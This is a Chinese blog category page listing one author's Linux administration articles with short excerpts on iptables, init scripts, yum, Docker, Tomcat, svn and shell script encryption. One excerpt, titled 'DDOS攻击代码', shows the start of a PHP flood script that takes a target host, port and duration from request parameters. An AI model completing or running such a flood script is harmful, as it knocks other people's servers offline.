
linux
文章平均质量分 90
qq_21439971
这个作者很懒,什么都没留下…
展开
-
Centos 开放80端口
#/sbin/iptables -I INPUT -p tcp --dport 80 -j ACCEPT #/sbin/iptables -I INPUT -p tcp --dport 22 -j ACCEPT 然后保存: #/etc/rc.d/init.d/iptables save 再查看是否已经有了: [root@vcentos ~]# /etc/init.d/iptables stat原创 2016-05-28 14:11:04 · 2404 阅读 · 0 评论 -
Linux系统/etc/init.d目录和/etc/rc.local脚本
本文英语版本来自:http://www.ghacks.net/2009/04/04/get-to-know-linux-the-etcinitd-directory/ 以下内容是作者自己的翻译版本,如需转载到优快云外其他网站,请注明本文链接。 一、关于/etc/init.d 如果你使用过linux系统,那么你一定听说过init.d目录。这个目录到底是干嘛的转载 2017-01-19 15:10:04 · 1022 阅读 · 0 评论 -
Linux 系统目录结构
登录系统后,在当前命令窗口下输入命令: ls / 你会看到如下图所示:树状目录结构:以下是对这些目录的解释:/bin:bin是Binary的缩写, 这个目录存放着最经常使用的命令。/boot:这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件。/dev :dev是Device(设备原创 2017-01-19 15:19:29 · 676 阅读 · 0 评论 -
Linux 系统启动过程
linux启动时我们会看到许多启动信息。Linux系统的启动过程并不是大家想象中的那么复杂,其过程可以分为5个阶段:内核的引导。运行 init。系统初始化。建立终端 。用户登录系统。init程序的类型:SysV: init, CentOS 5之前, 配置文件: /etc/inittab。Upstart: init,CentOS 6,原创 2017-01-19 15:21:17 · 754 阅读 · 0 评论 -
Linux 用户和用户组管理
Linux系统是一个多用户多任务的分时操作系统,任何一个要使用系统资源的用户,都必须首先向系统管理员申请一个账号,然后以这个账号的身份进入系统。用户的账号一方面可以帮助系统管理员对使用系统的用户进行跟踪,并控制他们对系统资源的访问;另一方面也可以帮助用户组织文件,并为用户提供安全性保护。每个用户账号都拥有一个惟一的用户名和各自的口令。用户在登录时键入正确的用户名和口令后,就原创 2017-01-19 15:23:51 · 754 阅读 · 0 评论 -
linux yum 命令
yum( Yellow dog Updater, Modified)是一个在Fedora和RedHat以及SUSE中的Shell前端软件包管理器。基於RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软体包,无须繁琐地一次次下载、安装。yum提供了查找、安装、删除某一个、一组甚至全部软件包的命令,而且命令简洁而又好记。yum 语法原创 2017-01-19 15:28:37 · 728 阅读 · 0 评论 -
Linux 文件基本属性
Linux系统是一种典型的多用户系统,不同的用户处于不同的地位,拥有不同的权限。为了保护系统的安全性,Linux系统对不同的用户访问同一文件(包括目录文件)的权限做了不同的规定。在Linux中我们可以使用ll或者ls –l命令来显示一个文件的属性以及文件所属的用户和组,如:[root@www /]# ls -ltotal 64dr-xr-xr-x 2 root root 4096原创 2017-01-19 15:29:52 · 692 阅读 · 0 评论 -
Linux 忘记密码解决方法
很多朋友经常会忘记Linux系统的root密码,linux系统忘记root密码的情况该怎么办呢?重新安装系统吗?当然不用!进入单用户模式更改一下root密码即可。步骤如下:重启linux系统3 秒之内要按一下回车,出现如下界面然后输入e在 第二行最后边输入 single,有一个空格。具体方法为按向下尖头移动到第二行,按"e"进入编辑模式在后边加上single 回原创 2017-01-19 15:31:43 · 786 阅读 · 0 评论 -
Centos服务器被挂马的一次抓马经历
今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。Centos服务器被挂马的一次抓马经历我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是原创 2017-01-20 15:05:47 · 5632 阅读 · 0 评论 -
DDOS攻击代码
<?php//设置脚本运行时间set_time_limit(999999);//攻击目标服务器ip$host = $_GET['host'];//攻击目标服务器端口$port = $_GET['port'];//攻击时长$exec_time = $_GET['time'];//每次发送字节数$Sendlen = 65535;$packets = 0;//设置客户机原创 2017-01-20 15:30:57 · 7444 阅读 · 0 评论 -
Nginx 配置 SSL 证书 + 搭建 HTTPS 网站教程
一、HTTPS 是什么?根据维基百科的解释:超文本传输安全协议(缩写:HTTPS,英语:Hypertext Transfer Protocol Secure)是超文本传输协议和SSL/TLS的组合,用以提供加密通讯及对网络服务器身份的鉴定。HTTPS连接经常被用于万维网上的交易支付和企业信息系统中敏感信息的传输。HTTPS不应与在RFC 2660中定义的安全超文本传输协议(S-HT原创 2017-03-20 10:56:06 · 1205 阅读 · 0 评论 -
linux下静默安装oracle数据库
本文档是Oracle Database 11.2.0.1 for RHEL5 Server(包括x86和x86_64平台)的静默安装指南. 所有操作无需使用图形界面. 静默安装能减少安装出错的可能性, 也能大大加快安装速度. # 后跟命令表示以操作系统下root用户操作; $ 后跟命令表示以操作系统下oracle用户操作; 1.1 上传软件原创 2017-03-20 15:25:04 · 1239 阅读 · 0 评论 -
linux awk命令详解
简介awk是一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。awk有3个不同版本: awk、nawk和gawk,未作特别说明,一般指gawk,gawk 是 AWK 的 GNU 版本。awk其名称得自于它的创始人 Alfr原创 2017-03-29 17:38:11 · 1005 阅读 · 0 评论 -
使用squid在阿里云服务器上搭建自己的代理服务器
阿里云服务器的下载速度真是杠杠的:有时候下载国外的资源,本机下载很慢,但是阿里云下载很快,以前总是先在服务器上下载好,然后再下载到本地,非常麻烦,所以现在改用反向代理实现。安装检测是否安装:# which squid/usr/bin/which: no squid in (/usr/local/sbin:/usr/local...出现以上提示说明没有安装。安原创 2017-02-08 14:32:57 · 17362 阅读 · 1 评论 -
Docker学习笔记
一、Docker 简介Docker 两个主要部件:Docker: 开源的容器虚拟化平台Docker Hub: 用于分享、管理 Docker 容器的 Docker SaaS 平台 -- Docker Hubdocker 使用客户端-服务器 (C/S) 架构模式。Docker 客户端会与 Docker 守护进程进行通信。Docker 守护进程会处理复杂繁重的任务,例如建原创 2017-07-03 14:33:46 · 496 阅读 · 0 评论 -
Linux下Tomcat开机自动启动
Linux下tomcat开机自动启动有两种方法,一种是简单,一种是复杂而又专业的,使用shell脚本要实现,我们一般推荐shell脚本启动方式。下面我们分别介绍这两种方法。1.shell脚本启动众所周知,在Linux中设置开机自启动的服务,需要在/etc/rcX.d下挂载。除此之外还需要在/etc/init.d下些启动脚本。其实很简单,先export出所需要的环境变量,例如JAVA_H原创 2017-01-19 15:01:59 · 713 阅读 · 0 评论 -
CentOS7 vs CentOS 6的不同之处
CentOS 7 vs CentOS 6的不同 (1)桌面系统[CentOS6] GNOME 2.x[CentOS7] GNOME 3.x(GNOME Shell)(2)文件系统[CentOS6] ext4[CentOS7] xfs(3)内核版本[CentOS6] 2.6.x-x[CentOS7] 3.10.x-x(4)启动加载器[Ce原创 2017-01-17 18:33:35 · 3168 阅读 · 0 评论 -
使用shc工具加密shell脚本详解
这篇文章主要介绍了使用shc工具加密shell脚本详解,Shc可以用来对shell脚本进行加密,可以将shell脚本转换为一个可执行的二进制文件,需要的朋友可以参考下Shc可以用来对shell脚本进行加密,可以将shell脚本转换为一个可执行的二进制文件。经过shc对shell脚本进行加密后,会同时生成两种个新的文件,一个是加密后的可执行的二进制文件(文件名以.x结束),另一个是C语言的原文件转载 2016-12-06 10:44:41 · 5457 阅读 · 0 评论 -
使用shell脚本安装软件部署javaweb程序
安装脚本所需文件 (与shell脚本文件在同一目录下) medical.zip (应用) Install.zdt(数据初始化文件,非必须) medical.tar.gz (软件包) medical.tar.gz包内包含:apache-tomcat.tar.gz MySQL-client-5.5.31-2.rhel5.i386.rpmMySQL-se转载 2016-12-19 15:19:32 · 4619 阅读 · 0 评论 -
Linux下简单基本操作
原创 2016-12-19 15:40:11 · 4161 阅读 · 0 评论 -
Linux一键安装web环境全攻略
摘自阿里云服务器官网,此处一键安装包下载:点此下载安装须知1、此安装包可在阿里云所有Linux系统上部署安装,此安装包包含的软件及版本为:nginx:1.0.15、1.2.5、1.4.4apache:2.2.22、2.4.2MySQL:5.1.73、5.5.35、5.6.15PHP:5.3.18、5.4.23、5.5.7php扩展转载 2017-02-04 15:15:22 · 1651 阅读 · 0 评论 -
Linux一键安装PHP/JAVA环境OneinStack
OneinStack 是一款PHP/JAVA环境一键配置工具。OneinStack安装过程1.OneinStack下载地址国内线路(1.17M/s),包含源码http://mirrors.linuxeye.com/oneinstack-full.tar.gz国外线路(Linode Fremont,10M/s),包含源码http://mirrors.l原创 2017-02-04 15:53:42 · 1265 阅读 · 0 评论 -
linux screen 命令详解
一、背景系统管理员经常需要SSH 或者telent 远程登录到Linux 服务器,经常运行一些需要很长时间才能完成的任务,比如系统备份、ftp 传输等等。通常情况下我们都是为每一个这样的任务开一个远程终端窗口,因为它们执行的时间太长了。必须等待它们执行完毕,在此期间不能关掉窗口或者断开连接,否则这个任务就会被杀掉,一切半途而废了。二、简介GNU Screen是一款由GNU计划开发的用于原创 2017-02-04 16:19:18 · 956 阅读 · 0 评论 -
shell脚本执行过程分析
一.shell脚本父子进程分析 代码:[cpp] view plain copy#!/bin/bash echo $$ ps -ef |grep `echo $$` echo "-------------------------------------" ( pwd;echo ;ps−ef|gr原创 2017-01-11 17:12:00 · 5676 阅读 · 0 评论 -
shc加密shell原理
有人想加密自己的perl脚本,有人想加密自己的php,有人认为bash编程并不是真正的编程,因为它们的源代码都是可见的,不像c程序那样,一旦经过编译就再也不可读了...其实这是一种误区,其一就是c语言编译而成的平台相关的elf或者pe文件并不是完全不可读,只是对于应用者不可读,对于黑客还是可以进行良好反汇编的,其二既然应用者不是专业人士,那么bash,perl等代码对于他们也是不可读的,我老婆就曾原创 2017-01-11 14:22:49 · 5076 阅读 · 1 评论 -
shell脚本调试技巧
脚本调试的主要工作就是发现引发脚本错误的原因以及脚本源代码中定位错误行,归纳汇总了SHELL脚本的总总方法,供大家学习参考。方式一: 通过echo方式【功能】: 最简单的调试方法,可以在任何怀疑出错的地方用echo打印变量【场合】: 所有怀疑可能有问题的地方,省略了所有【示例】:echo $VAR方式二: 通过选项方式[-ncxv]-n 【原创 2017-01-12 11:52:31 · 1297 阅读 · 0 评论 -
linux 安装配置java环境 jdk1.6 jdk-6u45-linux-x64.bin
linux 平台上安装:1.下载:jdk-6u45-linux-x64.bin 2.接下来,登录linux系统,赋予执行权限,命令如下:[plain] view plain copy print?chmod +x jdk-6u21-linux-x64.bin 3.执行jdk的安装.原创 2017-01-17 10:44:53 · 13165 阅读 · 0 评论 -
shell脚本输出带颜色字体
#!/bin/bash##下面是字体输出颜色及终端格式控制#字体色范围:30-37echo -e"\033[30m 黑色字 \033[0m"echo -e"\033[31m 红色字 \033[0m"echo -e"\033[32m 绿色字 \033[0m"echo -e"\033[33m 黄色字 \033[0m原创 2017-01-17 11:49:11 · 5772 阅读 · 0 评论 -
Linux配置端口转发
开启IP转发首先开启IP转发功能,默认是关闭的。临时修改:# echo 1 >/proc/sys/net/ipv4/ip_forward修改过后就马上生效,但如果系统重启后则又恢复为默认值0。永久修改:vi /etc/sysctl.conf# 找到下面的值并将0改成1net.ipv4.ip_forward = 1# sysctl –p(使之立即生效)原创 2017-02-08 14:21:39 · 45125 阅读 · 7 评论 -
Linux安装svn服务端
安装使用yum安装非常简单:yum install subversion配置创建仓库我们这里在/home下建立一个名为svn的仓库(repository),以后所有代码都放在这个下面,创建成功后在svn下面多了几个文件夹。[root@localhost /]# cd /home[root@localhost home]# mkdir svn[root@localhos原创 2017-02-08 14:25:54 · 889 阅读 · 0 评论 -
shell中for、while、until循环
一、简介 Shell编程中循环命令用于特定条件下决定某些语句重复执行的控制方式,有三种常用的循环语句:for、while和until。while循环和for循环属于“当型循环”,而until属于“直到型循环”。循环控制符:break和continue控制流程转向。二、详解1、for循环(1)for循环有三种结构:一种是列表for循环,第二种是不原创 2017-01-17 17:42:49 · 1116 阅读 · 0 评论 -
Linux安装Python环境
linux系统环境自带python2.6,但有时我们项目使用的版本可能是3.x以上等等,此时我们需要在linux中再安装项目所需的python版本,此时就涉及多版本共存问题了,很多同学在安装多个版本Python时会遇到各种问题,本篇文章针对python多版本共存做了详细安装说明1.下载python安装包打开https://www.python.org/downloads/,选择do原创 2017-11-03 18:08:39 · 18915 阅读 · 5 评论